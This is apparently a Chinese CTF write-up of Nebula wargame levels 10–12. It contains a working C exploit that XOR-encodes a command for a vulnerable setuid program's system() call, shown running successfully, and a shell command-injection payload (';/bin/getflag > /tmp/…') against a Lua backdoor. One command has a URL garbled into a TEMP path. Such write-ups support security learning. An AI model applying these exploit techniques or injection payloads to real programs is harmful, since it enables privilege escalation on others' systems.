接着运行脚本,我们在看看nc收到的结果:
这就是flag10的登录密码,登录flag10账号后,执行getflag即可。
level11——任意文件可执行漏洞在这一关卡,我们需要攻击一个flag11的可执行程序。它的源代码如下:
官网说此关卡有两种方法可以通过
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <sys/mman.h> /* * Return a random, non predictable file, and return the file descriptor for it. */ int getrand(char **path) { char *tmp; int pid; int fd; srandom(time(NULL)); tmp = getenv("TEMP"); pid = getpid(); asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid, \'A\' + (random() % 26), \'0\' + (random() % 10), \'a\' + (random() % 26), \'A\' + (random() % 26), \'0\' + (random() % 10), \'a\' + (random() % 26)); fd = open(*path, O_CREAT|O_RDWR, 0600); unlink(*path); return fd; } void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); } #define CL "Content-Length: " int main(int argc, char **argv) { char line[256]; char buf[1024]; char *mem; int length; int fd; char *path; if(fgets(line, sizeof(line), stdin) == NULL) { errx(1, "reading from stdin"); } if(strncmp(line, CL, strlen(CL)) != 0) { errx(1, "invalid header"); } length = atoi(line + strlen(CL)); if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length); } else { int blue = length; int pink; fd = getrand(&path); while(blue > 0) { printf("blue = %d, length = %d, ", blue, length); pink = fread(buf, 1, sizeof(buf), stdin); printf("pink = %d\n", pink); if(pink <= 0) { err(1, "fread fail(blue = %d, length = %d)", blue, length); } write(fd, buf, pink); blue -= pink; } mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0); if(mem == MAP_FAILED) { err(1, "mmap"); } process(mem, length); } }这段代码比较长,我们直接定位有问题的代码段
void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); }这里的buffer作为system的参数,是可控制的,但是这里的buffer的内容有点复杂,它在之前经过了“异或”加密。
非常简单,我们对要执行的命令在进行一次异或,就可以还原了。
我们的攻击代码如下:
#include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { int length = 1024; // 要执行的命令 char *cmd = "getflag"; char buf[1024]; int key = length & 0xff; int i = 0; // 把“ getflag” 字符串拷贝到 buf 里,其余空间空字节填充 strncpy(buf,cmd,1024); for(; i<length; i++) { buf[i] ^= key; // 一定要 buf[i]^key 才可得到正确的 key ,上面那句代码才可正确执行 key = key - (buf[i] ^ key); } // 输出至标准输出 puts("Content-Length: 1024"); fwrite(buf,1,length,stdout); return 0; }注意代码里面还设置了环境变量TEMP
tmp = getenv("TEMP");接着在系统中输入如下命令
$ export TEMP=http://www.likecs.com/tmp $ gcc -o /tmp/attack /tmp/attack.c $ cd /home/flag11 $ /tmp/attack | ./flag11 blue = 1024, length = 1024, pink = 1024 You have successfully executed getflag on a target account我们成功通关此关卡。
level12——攻击Lua脚本本关卡给出了一个lua写的socket程序,虽然我不会lua语言,但是通过猜测还是能看懂个大概的。
题目描述是一个监听在50001端口的backdoor。
local socket = require("socket") local server = assert(socket.bind("127.0.0.1", 50001)) function hash(password) prog = io.popen("echo "..password.." | sha1sum", "r") data = prog:read("*all") prog:close() data = string.sub(data, 1, 40) return data end while 1 do local client = server:accept() client:send("Password: ") client:settimeout(60) local line, err = client:receive() if not err then print("trying " .. line) -- log from where ;\ local h = hash(line) if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then client:send("Better luck next time\n"); else client:send("Congrats, your token is 413**CARRIER LOST**\n") end end client:close() end注意到这条语句
prog = io.popen("echo "..password.."| sha1sum", "r")这个地方存在明显的 命令注入
先telnet 127.0.0.1 50001,构造payload
;/bin/getflag > /tmp/wyf5110